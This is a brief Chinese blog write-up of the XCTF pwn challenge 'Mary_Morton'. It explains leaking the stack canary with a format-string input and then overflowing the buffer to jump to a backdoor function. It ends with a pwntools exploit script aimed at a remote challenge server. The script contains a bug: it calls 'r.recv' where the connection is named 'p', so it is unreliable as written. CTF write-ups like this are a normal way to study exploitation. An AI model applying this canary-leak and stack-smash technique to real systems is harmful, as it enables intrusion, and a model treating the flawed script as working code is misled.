攻防世界(15):Mary_Morton

查壳

ida中很明显告诉我们有栈溢出漏洞和字符串漏洞,有后门

先用格式化字符串泄露偏移去找到canary

偏移为6,看看作为canary的v2离buf有多远

0x90-0x8=0x88,0x88=136,136/8=17,17+偏移6=23,泄露第23个地址的值就行

计算栈溢出

buf的88+canary的8位+rbp的8位+后门地址,拿到flag

exp

#!/usr/bin/env python
from pwn import *
p=remote('111.200.241.244',32940)

p.recvuntil('3. Exit the battle')
p.sendline('2')

p.sendline('%23$p')

p.recvuntil('0x')
canary=int(r.recv(16),16)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)

p.interactive()
posted @ 2021-02-27 15:20  triplewings  阅读(65)  评论(0编辑  收藏  举报